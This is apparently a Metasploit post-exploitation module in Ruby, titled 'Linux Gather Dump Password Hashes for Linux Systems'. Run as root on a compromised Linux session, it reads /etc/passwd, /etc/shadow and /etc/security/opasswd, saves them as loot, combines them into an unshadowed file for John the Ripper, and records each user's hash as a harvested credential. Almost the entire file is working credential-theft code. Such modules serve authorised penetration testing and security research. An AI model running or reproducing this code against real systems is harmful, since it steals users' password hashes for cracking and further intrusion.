Brendan Coles
96 lines
2.9 KiB
Ruby
96 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'metasploit/framework/hashes/identify'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Linux::Priv
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def initialize(info = {})
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super( update_info( info,
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'Name' => 'Linux Gather Dump Password Hashes for Linux Systems',
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'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System},
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'License' => MSF_LICENSE,
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'Author' => ['Carlos Perez <carlos_perez[at]darkoperator.com>'],
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'Platform' => ['linux'],
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'SessionTypes' => ['shell', 'meterpreter']
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))
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end
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# Run Method for when run command is issued
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def run
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unless is_root?
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fail_with Failure::NoAccess, 'You must run this module as root!'
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end
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passwd_file = read_file('/etc/passwd')
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unless passwd_file.nil?
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p = store_loot("linux.passwd", "text/plain", session, passwd_file, "passwd.tx", "Linux Passwd File")
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vprint_good("passwd saved in: #{p}")
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end
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shadow_file = read_file('/etc/shadow')
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unless shadow_file.nil?
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p = store_loot("linux.shadow", "text/plain", session, shadow_file, "shadow.tx", "Linux Password Shadow File")
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vprint_good("Shadow saved in: #{p}")
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end
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opasswd_file = read_file('/etc/security/opasswd')
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unless opasswd_file.nil?
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p = store_loot("linux.passwd.history", "text/plain", session, opasswd_file, "opasswd.tx", "Linux Passwd History File")
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vprint_good("opasswd saved in: #{p}")
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end
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# Unshadow the files
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john_file = unshadow(passwd_file.to_s, shadow_file.to_s)
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return if john_file == ''
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john_file.each_line do |l|
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hash_parts = l.split(':')
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jtr_format = identify_hash hash_parts[1]
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if jtr_format.empty? #overide the default
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jtr_format = 'des,bsdi,crypt'
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end
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credential_data = {
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jtr_format: jtr_format,
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origin_type: :session,
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post_reference_name: self.refname,
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private_type: :nonreplayable_hash,
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private_data: hash_parts[1],
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session_id: session_db_id,
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username: hash_parts[0],
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workspace_id: myworkspace_id
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}
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create_credential(credential_data)
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print_good(l.chomp)
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end
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# Save passwd file
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upasswd = store_loot("linux.hashes", "text/plain", session, john_file, "unshadowed_passwd.pwd", "Linux Unshadowed Password File")
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print_good("Unshadowed Password File: #{upasswd}")
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end
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def unshadow(pf, sf)
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unshadowed = ''
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sf.each_line do |sl|
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pass = sl.scan(/^\w*:([^:]*)/).join
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next if pass == '*'
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next if pass == '!'
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user = sl.scan(/(^\w*):/).join
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pf.each_line do |pl|
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next unless pl.match(/^#{user}:/)
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unshadowed << pl.gsub(/:x:/,":#{pass}:")
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end
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end
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unshadowed
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end
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end
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